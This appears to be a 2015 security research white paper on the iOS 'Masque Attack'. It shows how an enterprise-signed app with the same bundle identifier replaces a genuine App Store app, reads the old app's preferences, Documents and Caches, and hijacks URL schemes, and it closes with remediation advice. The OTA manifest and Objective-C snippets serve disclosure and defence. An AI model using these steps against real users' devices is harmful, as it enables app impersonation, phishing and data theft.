iOS Masque Attack

Project: White Paper – Masque Attack
Authors: Giorgio Fedon, Simone Bovi
Edition: 1.0
Date: 03-03-2015
White Paper:
Masque Attack

Masque Attack
Edition: v1.0 Date: 03-03-2015
Page 1
Table of contents
1 INTRODUCTION..........................................................................................2
1.1 White Paper Objectives......................................................................................2
1.2 Masque Attack Introduction...............................................................................2
1.2.1 Threat scenarios of the Masque Attack.................................................................4
2 ATTACK EXECUTIONS AND RESULTS OF THE ANALYSIS...................5
2.1 Environment Setup.............................................................................................5
2.2 Attack execution ................................................................................................6
2.3 Results: Files accessible by the new app.................................................10
2.3.1 Preferences File ...................................................................................................10
2.3.2 Keychain access ...................................................................................................11
2.3.3 Access to the bundle’s files..................................................................................12
2.3.4 Access to the files in the sandbox........................................................................13
2.4 Masque Attack via URL Schemes..............................................................15
3 REMEDIATION ..........................................................................................17

Masque Attack
Page 2
1 Introduction
1.1 White Paper Objectives
The objectives of this white paper are to analyze the impacts and mitigations of the
Masque Attack against a non jailbroken iOS Apple device.
This paper is provided with a first introductive section that has the purpose to generally
illustrate this kind of attack and to explore all its implications.
The second section deals with the setup used to perpetrate the attack and the set of the
tests executed to verify which files belonging to the attacked application were accessible
by the new one.
The third and last section show the conclusions of the paper, the key results obtained
and a list of possible remediation.
1.2 Masque Attack Introduction
In July 2014, FireEye Security Company with the security researchers Stefan Esser and
Jonathan Zdziarski discovered1 that an iOS app installed using enterprise/ad-hoc
provisioning could replace another genuine app previously installed through the App
Store, as long as both apps used the same bundle identifier.
This vulnerability exists because iOS doesn't enforce matching certificates for apps with
the same bundle identifier.
The malicious app could be downloaded and installed by a user via social engineering
attacks: once done that, the new app overwrites the old one already installed on the
device.
An exception is represented by the iOS preinstalled apps: they can’t be substituted.
It is important to note that this attack poses iOS users at a greater risk than the Android
counterpart. In fact on Android exists an option that disallow users to install application
from sources different from the Play Store, while on iOS this choice is not available.
The following picture shows the Masque Attack flow:
1 https://www.fireeye.com/blog/threat-research/2014/11/masque-attack-all-your-ios-apps-belong-
to-us.html

Masque Attack
Page 3
Besides the application personification effect, the malicious app will be able to steal all
data saved in the directories shared with the original app (i.e. Local Data Cache,
Preferences file, etc.).
On the other hand, Keychain entries and pre-attack bundle’s file seem to remain safely
protected from unauthorized read.
More analysis on that will be provided in the section 2 of this paper.

Masque Attack
Page 4
Furthermore, it has been found that the trust alert prompted at the first launch of an
enterprise-signed app can be easily bypassed exploiting the present URL Schemes
implementation.
iOS version 7.x and 8.x (< 8.1.3) are affected by this issue on both jailbroken and non
jailbroken devices.
Furthermore, the Masque Attack via URL Scheme Hijacking vulnerability has not yet
been fixed. This will be explained in detail in section 2.4.
1.2.1 Threat scenarios of the Masque Attack
These are the main threat scenarios of this kind of attack:
 Non jailbroken iOS Apple devices are threatened too;
 A user may not be conscious of having a malicious app on his device because it replaces
one that is regularly installed;
 The malicious app can read all the unencrypted data stored by the previous app, but the
Keychain, and send them to their servers;
 The malicious app can mount a phishing attack mimicking the original UI app and it can
steal the related credentials;
 The malicious app can be launched although the presence of an alert prompt when
launching enterprise-signed apps for the first time;
 The malicious app can hijack the URL Schemes of a legitimate popular app in order to
perform phishing attacks to steal credentials or gather data intended to be shared
between two trusted apps.

Masque Attack
Page 5
2 Attack Executions and Results of the Analysis
2.1 Environment Setup
An enterprise provisioning profile matched with a developer certificate were used to
perpetrate the attack: the public key inside the first file is related to the private key of
the certificate installed on the host where the compilation of the app is performed.
The app is installed on the device via OTA, using a local HTTPS web server.
It has to be noticed the fact that developer certificates and mobile enterprise
provisioning files can be easily found on Internet through ad-hoc Google dorks.
Following a screenshot of a website where these files can be located:
For the signing part of the created IPA, the iReSign tool was used
(https://github.com/maciekish/iReSign):
As we can see, the IPA can be signed with a smuggled developer certificate.

Masque Attack
Page 6
2.2 Attack execution
The app used as an example for the attack is Twitter, downloadable from the App Store
at the time of writing.
Bundle Identifier of the app Twitter: com.atebits.Tweetie2.
Following a picture related to the pre-attack test device Springboard is shown:
As it is possible to see, the Twitter app downloaded from the App Store results to be
regularly installed.
Connecting to the URL where the web server used for the OTA installation is placed, it is
possible to see the following screen:

Masque Attack
Page 7
This was created using the following HTML code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Sample iOS OTA install</title>
</head>
<body>
<a href="itms-services://?action=download-
manifest&url=https://www.mindedsecurity.com/manifest.plist"><font size="+4">Install the
App</font></a>
</body>
</html>
Clicking on “Install the App”, iOS accesses the manifest.plist file loaded on the web
server and with the following contents:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">

Masque Attack
Page 8
<dict>
<key>items</key>
<array>
<dict>
<key>assets</key>
<array>
<dict>
<key>kind</key>
<string>software-package</string>
<key>url</key>
<string>https://www.mindedsecurity.com/twitter.ipa</string>
</dict>
</array>
<key>metadata</key>
<dict>
<key>bundle-identifier</key>
<string>com.atebits.Tweetie2</string>
<key>bundle-version</key>
<string>1.0</string>
<key>kind</key>
<string>software</string>
<key>title</key>
<string>Twitter</string>
</dict>
</dict>
</array>
</dict>
</plist>
Then iOS asks to confirm the download. This application has the name equals to the
value of the key “title” inside the manifest.plist:

Masque Attack
Page 9
Clicking on “Install”, the app’s installation is initialized on the device as shown by the
following screenshots:

Masque Attack
Page 10
The application presents a different Display Name and default icon in order to make the
substitution clear, but it is possible to use the original icon and name used by the real
Twitter application.
2.3 Results: Files accessible by the new app
At this point it is very interesting to verify what files are accessible by the new
application.
Clearly, the new application is not able to access files outside its sandbox but it could be
able to access other files left by the previous installation.
Below all the tests performed will be listed and the used code and related log output will
be provided.
2.3.1 Preferences File
Each application saves its settings inside a file in the sandbox at the Library/Preferences
path. This file is automatically created at the application’s first launch.
The following code was used to verify if the new app can access the preferences file
created by the previous application:
NSUserDefaults *prefs = [NSUserDefaults standardUserDefaults];
NSString *value1 = [prefs stringForKey:@"TCCardRuntimePlatform"];
NSLog(@"Value of the key TCCardRuntimePlatform in the Preferences file: %@", value1);

Masque Attack
Page 11
NSString *value2 = [prefs stringForKey:@"appVersion"];
NSLog(@"Value of the key appVersion in the Preferences file: %@", value2);
NSString *value3 = [prefs stringForKey:@"previousApplicationVersion"];
NSLog(@"Value of the key previousApplicationVersion in the Preferences file: %@", value3);
From the application log it is possible to see that all the value are correctly read:
Twitter[1708] <Warning>: Value of the key TCCardRuntimePlatform in Preferences file:
iPhone-12
Twitter[1708] <Warning>: Value of the key appVersion in Preferences file: 6.21.1
Twitter[1708] <Warning>: Value of the key previousApplicationVersion in Preferences file:
6.21.1
So, the Preferences file created by the substituted application results to be perfectly
readable by the new application.
2.3.2 Keychain access
Keychain is a ciphered SQLite database where it is advisable to store sensitive
application data such as passwords.
By default the sandbox on iOS is also enforced for the Keychain: an app can access only
its own Keychain entries.
The following code was used to verify if the new app can access the Keychain entries of
the previous application (PDKeychainBindingsController library available at
https://github.com/carlbrown/PDKeychainBindingsController):
NSLog(@"Trying to read the Keychain");
PDKeychainBindings *bindings = [PDKeychainBindings sharedKeychainBindings];
NSString * value = [bindings stringForKey:@"passwordString"];
NSLog(@"%@", value);
From the application log it is possible to see that trying to read an arbitrary Keychain
entry throws the following error:
Twitter[1708] <Warning>: Trying to read the Keychain
securityd[1245] <Error>: securityd_xpc_dictionary_handler Twitter[1708] copy_matching The
operation couldn’t be completed. (OSStatus error -34018 - client has neither application-
identifier nor keychain-access-groups entitlements)
Twitter[1708] <Error>: SecOSStatusWith error:[-34018] The operation couldn’t be
completed. (OSStatus error -34018 - Remote error : The operation couldn’t be completed.
(OSStatus error -34018 - client has neither application-identifier nor keychain-access-
groups entitlements))

Masque Attack
Page 12
Twitter[1708] <Warning>: (null)
The reason behind the error lies in the mechanism with which single Keychain entries
can be accessed from different applications.
For the purpose of sharing Keychain entries, Apple provides the Keychain Access Group:
each app that belongs to a group can read all the Keychain entries associated with that
group. The apps that do not belong to it are forbidden from accessing them.
The access control to shared items is enforced through App ID prefixes (Team ID) and
provisioning profiles. It is not possible to access a Keychain Access Group without using a
provisioning profile containing the AppID prefix of the app of which it is desirable to
access the Keychain. However Apple does not allow a developer to use an AppID equal
to another.
So the only way to access the Keychain entries of the old application lies in the
generation of a provisioning file with an AppID containing the same prefix used by the
previous application. This is impossible in general but Erik Romjin, on October 2014,
found a vulnerability in the Apple portal that allows a developer to insert an arbitrary
value as the AppID, permitting him to read Keychain entries of the app with the same
prefix. The vulnerability is now fixed but it can’t be excluded that fake provisioning
profiles will still be used until October 2015. This is because they expire after one year
from the creation.
Several information about this vulnerability can be found at this link:
http://erik.io/blog/2014/10/10/vulnerability-apple-portal-compromised-keychain-
access-groups/.
2.3.3 Access to the bundle’s files
This check was done to make sure that the old files in the bundle were completely
substituted by the new ones.
The following code was used to verify the version of the new bundle available inside the
Info.plist file:
NSString *appVersion = [[NSBundle mainBundle]
objectForInfoDictionaryKey:@"CFBundleVersion"];
NSLog(@"Bundle App version in Info.plist file: %@", appVersion);
As it is possible to see from the following log, the bundle version displayed is 1 (that was
set by Minded Security on the Xcode project for the new app), while the original version
at the time of writing was the 6.21.1:

Masque Attack
Page 13
Twitter[1708] <Warning>: Bundle App version in Info.plist file: 1
Another test was done to check that files belonging to the old bundle, and surely not
present in the new one, were disappeared.
As an example, searching for the file favorite.vector available in the previous
application’s bundle:
NSString *filePath = [[NSBundle mainBundle] pathForResource:@"favorite"
ofType:@"vector"];
NSString *myText = [NSString stringWithContentsOfFile:filePath];
if (myText) {
NSLog(@"favorite.vector exists");
}
NSLog(@"favorite.vector file contents: %@", myText);
The following log is obtained:
Twitter[1708]: (null)
Bundle of the application, as expected, is completely overwritten by that of the new one
without leaving any old files.
2.3.4 Access to the files in the sandbox
The last test was dedicated to checking which files in the sandbox could be accessed by
the new application.
In particular, the code used to read the content of the Documents folder is presented
next. This directory is where you write data that the application generates during
runtime and that you want to persist between runs of the application. Moreover, it is
backed up when the device is synchronized with iTunes or iCloud.
NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
NSUserDomainMask, YES);
NSLog(@"Document folder path: %@", paths);
NSString *documentsDirectory = [paths objectAtIndex:0];
NSError * error;
NSArray * directoryContents = [[NSFileManager defaultManager]
contentsOfDirectoryAtPath:documentsDirectory
error:&error];

Masque Attack
Page 14
NSLog(@"Document folder contents: %@",directoryContents);
The following log shows that it is possible to list and access all the files belonging to the
Documents folder of the old app:
Twitter[1708] <Warning>: Documents folder contents: (
"com.atebits.tweetie.application-important-state",
"com.atebits.tweetie.application-state",
"com.atebits.tweetie.authorizationmanager",
"com.atebits.tweetie.authorizationmanagerTFNAuthorizationManagerData.data",
"com.atebits.tweetie.authorizationmanagerTFNAuthorizationManagerRequestCounts.data",
"com.atebits.tweetie.configuration",
"com.atebits.tweetie.sentinel"
)
It is also possible to access the folder where cache files are stored, that is the
Library/Caches folder, using the following code:
NSString *cachesPath = [NSSearchPathForDirectoriesInDomains(NSCachesDirectory,
NSUserDomainMask, YES) objectAtIndex:0];
NSString *cacheDir = [cachesPath stringByAppendingPathComponent:@"com.atebits.Tweetie2"];
NSError * error;
NSArray * directoryContents = [[NSFileManager defaultManager]
contentsOfDirectoryAtPath:cacheDir error:&error];
NSLog(@"Contents of Library/Caches/com.atebits.Tweetie2 folder: %@",directoryContents);
From the following log it is possible to see the presence of the old cache’s files (indeed,
the new app does not use any kind of caching):
Twitter[1708] <Warning>: Content of Library/Caches/com.atebits.Tweetie2 folder: (
"Cache.db",
"Cache.db-shm",
"Cache.db-wal"
)
So it is possible to infer that the new application is able to access the files that were in
the sandbox of the previous installed app.

Masque Attack
Page 15
2.4 Masque Attack via URL Schemes
On 19 February 2015 FireEye security researchers have presented a new kind of Masque
Attack exploiting URL Schemes vulnerabilities2.
On iOS 8, whenever a user is launching an enterprise-signed app for the first time, he is
asked to trust or not the new signing party, as can be seen from the following
screenshot:
If a user clicks on “Don’t trust” the app does not open.
It has been discovered that this precaution is not enough: indeed, it is possible to bypass
this alert message exploiting the present implementation of URL Schemes.
This can be demonstrated using the following setup:
 An Apple device with iOS 8.1.2 installed;
 A widespread installed app like, for example, Facebook;
 An enterprise-signed app registering an URL Scheme identical to that used by the
previous app.
So, it is possible to create an enterprise-signed app registering an URL Schemes used by
Facebook, fb://, and bypass the alert prompt calling that URL Scheme to open the
malicious app.
Note that, other than Safari, other third-party apps could be using URL Schemes of
popular apps, as for the Facebook login.
2 https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html

Masque Attack
Page 16
This way iOS launches the enterprise-signed app registered to handle the URL scheme
without prompting for trust, even if the user has always clicked “Don’t Trust”. It doesn’t
matter whether the user has launched that enterprise-signed app before.
This can be used in order to mount phishing attacks and steal credentials when the UI of
the original app is mimicked, or launch the malicious app although the lack of trust by
the user.
This vulnerability has been fixed in iOS 8.1.3.
A very detailed list of all the URL Schemes registered by the apps can be found at this
link: http://handleopenurl.com.
It is also important to note that there is another type of Masque Attack that can be
accomplished via URL Schemes Hijacking.
In fact, according to iOS Developer Library3, “If more than one third-party app registers
to handle the same URL scheme, there is currently no process for determining which app
will be given that scheme”.
So, the attackers can publish an app directly into the App Store that registers URL
Schemes identical to the ones of legitimate popular apps, with the exception of the ones
predefined by Apple. Through this, attackers can reproduce a legitimate app UI to
perform phishing attacks to steal credentials or gather data intended to be shared
between two trusted apps.
This vulnerability has not yet been fixed.
3
https://developer.apple.com/library/ios/documentation/iPhone/Conceptual/iPhoneOSProgramming
Guide/Inter-AppCommunication/Inter-AppCommunication.html

Masque Attack
Page 17
3 Remediation
Masque Attack is one of the few attacks also effective on non jailbroken Apple iOS
device and so it is a very interesting topic to analyze.
In this paper it was successfully verified that a legit application on a device can be
overwritten with a malware app that has the same bundle identifier. This app can be
installed by the user via OTA using an enterprise provisioning profile (stolen ones are not
difficult to find).
The files belonging to the previous application that can be accessed by the new one are
the following:
 Preferences File;
 Files in the sandbox (Documents, Library/Preferences, Library/Caches, etc.)
Bundle files are instead completely substituted by the new installation.
Furthermore, the access on Keychain entries related to the previous installation is
forbidden due to the fact that is not possible to forge a provisioning file with an arbitrary
AppID, unless the vulnerability illustrated in the section 2.3.2.
Moreover, it has been discovered that the alert that prompts the user when an
enterprise-signed app is launched for the first time can be easily bypassed leveraging the
present implementation of URL Schemes.
As a last thing, it is notable that at this time the URL Scheme Hijacking vulnerability
explained at the end of section 2.4 has not yet been fixed.
On 27 Jan 2015, Apple released iOS 8.1.3. This update fixes this vulnerability
(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4493); moreover now iOS
also prompts for trust when first opening an enterprise-signed application improving
code signature validation (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-
4494) also when URL Schemes are used.
So, it is advisable to use only Apple devices with iOS >= 8.1.3 in order to surely defense
from this threat. Note that the URL Schemes Hijacking vulnerability illustrated at the end
of section 2.4 has not yet been fixed.
iOS users can protect themselves from Masque Attack by following these 4 steps:
 Update iOS on the device to a version >= 8.1.3 as suggested above. Note that the URL
Schemes Hijacking vulnerability illustrated at the end of section 2.4 has not yet been
fixed;
 Don’t install apps from third-party sources other than Apple’s official App Store or the
user’s own organization;
 Don’t click “Install” on a pop-up from a third-party web page;

Masque Attack
Page 18
 When opening an app, if iOS shows an alert with “Untrusted App Developer”, click on
“Don’t Trust” and uninstall the app immediately. Nevertheless note that this alert can be
bypassed as shown in section 2.4 if iOS >= 8.1.3 is not installed.
iOS developers can mitigate the impact of Masque Attack on their apps and users
following (a mix of) these advice:
 On the app first launch check if the app is installed on a device that has iOS 8.1.3
onwards. If this is not the case, alert the users of the possible threat. In order to do that
check the [UIDevice currentDevice].systemVersion property.
 On the Xcode app project, set the Deployment target to 8.2 when it will be available.
Note that in this way only users with an iOS version >= 8.2 will be able to run the
application;
 Enforce the use of all the best practices for writing secure iOS code: cipher all the
sandbox file and store sensitive information on the Keychain only, as this is a safe place
against this kind of attack.
 Think about using a push notification service in order to check if an app is already on the
device or it has been uninstalled. In particular, check the related Feedback Service
(https://developer.apple.com/library/ios/documentation/NetworkingInternet/Conceptua
l/RemoteNotificationsPG/Chapters/CommunicatingWIthAPS.html#//apple_ref/doc/uid/T
P40008194-CH101-SW3).
 In a scenario where an attacker could reuse the original binary and insert only a backdoor
inside, a mitigation might be found implementing a check at the start of the application in
order to verify the AppID of the app. If the AppID is not equal to the right hardcoded one,
the app closes. This assumes that the AppID of the malware app is different from the
original one and that the check is not bypassed. See the following link for an
implementation idea: http://stackoverflow.com/questions/11726672/access-app-
identifier-prefix-programmatically

Masque Attack
Page 19
Glossary
4
https://developer.apple.com/library/ios/documentation/IDEs/Conceptual/AppStoreDistributionTutori
al/CreatingYourTeamProvisioningProfile/CreatingYourTeamProvisioningProfile.html
Term Description
Mobile provisioning A mobile provisioning profile4 creates an association between
an application and a developer/organization: that is, a link
between a developer certificate and an AppID is created. More
on AppID in the next section.
A provisioning profile must be installed on every device intended to
run own application code.
Each profile contains:
 A set of developer certificates whose public key must be
matched with the private key installed on the Keychain inside
the host on which the application is compiled.
 Devices’ UDID on which the application will run. The devices
detailed inside the provisioning profile can be used for testing
only by the users that have a developer certificate inside the
profile.
 The AppID.
 The entitlements used. These award special capabilities or
security permissions to the application. Among the
entitlements, the use of iCloud, push notification and
Keychain access can be found.
One device can contain more than one provisioning profile.
AppID The AppID is an important asset of the code-signing process. It
specifies which are the applications authorized by the profile to be
signed and launched. This identifier is a string composed by two
parts:
1. The Team ID, provided by Apple and unique for each
development team
2. The bundle identifier of the single application. The AppID is
located inside the provisioning file.
The prefix of the AppID, which is the Team ID, results to be very
important from a security perspective: apps with the same prefix
share their application data leaping over classic iOS sandbox

Masque Attack
Page 20
5 Johnny Long, Google Hacking for Penetration Testers, Syngress Publishing, 2004. ISBN 1-
931836-36-1
boundaries.
The same concept is valid also for the Keychain entries: apps with the
same prefix share the access to all their entries.
As a rule, Apple guarantees that different apps from the same
developer can have the same prefix, but different apps from different
developers cannot.
Bundle Identifier Bundle Identifier is the unique string that precisely identifies a single
application.
It is typically composed by two parts:
1. One related to the company identifier
2. One related with the product name inserted during the
setting of the Xcode project.
Moreover, this is also the identifier used when an app update is
needed: when a user installs an application with the same bundle
identifier of another already presents on the device, iOS knows that
this has to be updated substituting its bundle with the new one.
Display Name Display Name is the identifier that iOS uses to show the app’s name
on the Springboard.
Google Dorks Google hacking5
involves the use of advanced operators in the
Google Search Engine to locate the specific string of text within
search results.
It means that it is possible to leverage operators provided by Google
to narrow the search results.
Generally these operators are called Google Dorks.

iOS Masque Attack

Recomendados

Recomendados

Más contenido relacionado

La actualidad más candente

La actualidad más candente (20)

Destacado

Destacado (20)

Similar a iOS Masque Attack

Similar a iOS Masque Attack (20)

Más de Minded Security

Más de Minded Security (12)

Último

Último (20)

iOS Masque Attack